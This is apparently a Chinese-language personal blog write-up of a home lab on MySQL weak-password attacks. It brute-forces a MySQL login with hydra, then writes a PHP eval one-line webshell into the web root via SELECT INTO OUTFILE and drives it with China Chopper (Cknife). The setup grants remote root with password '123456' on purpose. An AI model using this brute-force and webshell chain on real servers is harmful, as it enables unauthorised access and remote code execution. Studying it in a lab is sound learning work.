MySQL弱密码和webshell问题
欢迎来我的博客,这是我在学习MySQL弱密码和webshell问题的一些操作与收获。学习的目的是为了更好的了解这个漏洞,然后去防御它,而不是为了危害他人。
实验背景:
1.VMware 12 pro
2.fedora 27
了解漏洞
mysql是什么
MySQL是一个关系型数据库管理系统。
mysql弱密码漏洞是什么
mysql弱密码漏洞是系统或者数据库的登录用户,密码简单或者和用户名相同,容易通过暴力破解手段来获取密码。
分析漏洞原理
具体漏洞产生原理是什么?
一是开放了远程登录,二是密码过于简单。
漏洞结合webshell有什么危害?
可以控制你的数据库服务器,读取、写入和修改信息。
漏洞重现与利用
安装配置Apache、PHP、MySQL
1 | $ sudo yum install httpd 安装apache |
对应服务开启的指令:1
2$ sudo systemctl start httpd (stop or restart) 开启apache服务(关闭后者重启)
$ sudo systemctl start mariadb (stop or restart) 开启mysql数据库(关闭或者重启)
设置mysql的安全配置
进入mysql(第一次进入没有密码)1
2$ mysql -h localhost -u root -p
-h后面接IP,-u后面接用户名 -p后面接密码(可以直接-p回车之后再输入密码,这样你的密码就不被看见)
1 | grant all privileges on *.* to 'root'@'%' identified by '123456' withg rant option; |
在/var/www/html/目录下创建一个test1.php文件,代码如下:1
2
3
phpinfo();
这时候打开就能看到php的信息,如果看到mysqli和mysqlnd则说明php支持mysql
你还可以创建一个test.php的文件,代码如下:1
2
3
4
5
6
7
8
9
10
11
12
$dbhost = 'localhost:3306'; // mysql服务器主机地址
$dbuser = 'root'; // mysql用户名
$dbpass = '123456'; // mysql用户名密码
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);
if(! $conn )
{
die('Could not connect: ' . mysqli_error());
}
echo '数据库连接成功!';
mysqli_close($conn);
如果出现下图结果则说明环境搭配成功。
安装hydra
直接用yum安装即可
1 | $ sudo yum install hydra |
使用hydra进行mysql的弱密码攻击
自己随便写了用户名字典和密码字典(把自己mysql的帐号密码添加进去)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15hydra用法:
hydra <参数> <IP地址> <服务名>
hydra的参数是区分大小写的.
hydra支持的服务有:telnet ftp ssh mysql mssql vnc pcanywhere RDP(3389)等.
hydra的一些参数:
-R 继续从上一次的进度开始爆破
-s <port> 指定端口
-l <username> 指定登录的用户名
-L <username-list> 指定用户名字典
-p <password> 指定密码
-t <number> 设置线程数
-P <passwd-list> 指定密码字典
-v 显示详细过程
示例: hydra -l root -P /passwd.txt -t 4 -v 127.0.0.1 mysql
利用mysql写入webshell,从而利用webshell进行进一步攻击
先登录mysql,之后写入一个小马1
2
3Select '<?php eval($_GET[cmd]);?>' into outfile '/var/www/html/456.php';
//把GET换成POST也行,不过之后你得通过POST操作
//如果你在另外一台虚拟机上的话,需要mysql服务端对/var/www/html 有写权限
通过这个文件可以获取一些服务器的信息,下图获得了php的信息。
也可以使用中国菜刀进行攻击(因为我们实验php的版本为7.x,所以一开始出来问题)
后来Cknife作者给出了解决方案。
链接如下:https://github.com/Chora10/Cknife/issues/33
解决问题之后我就可以通过中国菜刀对对方服务器进行操作了。